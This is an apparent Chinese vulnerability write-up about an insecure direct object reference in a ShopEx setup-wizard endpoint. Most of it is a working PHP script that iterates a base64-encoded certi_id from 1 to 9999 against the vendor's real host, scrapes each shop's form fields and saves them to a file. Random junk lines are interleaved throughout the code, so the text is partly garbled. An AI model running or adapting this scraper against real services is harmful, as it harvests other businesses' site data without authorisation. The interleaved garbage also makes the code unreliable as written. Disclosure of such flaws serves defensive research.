ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
详细说明：
问题出现在shopex 网店使用向导页面


) e, }1 e0 @9 H9 P1 l! \
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
: t! N8 A- x) M0 W5 V
% n0 U3 b5 E# M7 e# _0 g" q

refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}


- R# p) B( e3 R2 E1 Q6 ~' U
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
* s1 N2 U' n" q' [
' w" W' w- S) B5 H! W/ u
, o# G. C* L" z9 J" e: k
. _- l* \% }0 n7 ?% `( [/ T<?php
' [3 c  T$ o" [) }  f  }7 k$ d
9 K& g! o' r4 X" a  x, k2 ?                for ($i=1; $i < 10000; $i++) { //遍历
9 h7 b" H8 M& \0 j: z- S7 ]
                        ShowshopExD($i);

                }
  r: q" e% ?4 X) r2 c. g
                function ShowshopExD($cid) {
; i5 T9 \  E1 X; F+ U
                $url='http://guide.ecos.shopex.cn/step2.php';

                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
( O/ [6 f! D# _
        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);
' c5 h9 L/ x/ s4 ~1 ^  S
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
1 l  V  h9 {5 l0 l2 F6 F
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
- ~6 X/ T5 V6 }' W: _* k* b
        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
4 l" m% e! R0 ?. G% r
        if(strpos($result,$refer))

        {

7 b# [9 r- S8 E' u                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

$ `, Z, ?0 z& z* E                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
1 U# F. _/ J4 W- u5 Y
                foreach ($value[1] as $key) {
' x. ]8 w1 V& a+ @
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

9 s- ~$ n. F! [                        echo $res[1][0].':'.$res[3][0]."\r\n";

                        $col =$res[1][0].':'.$res[3][0]."\r\n";

! `* o/ T! h; x0 A/ L3 |                        fwrite($fp, $col, strlen($col));
: m% _* W. y! K2 l
                }
  g+ g! h! ?; j' I
/ h% f& p/ V* Y5 k5 s                echo '--------------------------------'."\r\n";
- H# W5 p, z: l7 R
                fclose($fp);
5 t* h- C( ~+ K. F( c+ A! o
4 o4 Z! e' v9 G2 W) _" |& M" H0 Z2 Q        }
/ J+ M6 o& Z" D' V
        flush();
3 p; u. U: J& t( N  j: W9 h+ R
        curl_close($ch);

                }

?>
" i1 h! O# F( N* l! c漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
. \) d7 Q8 u' b! b) j6 D$ b' x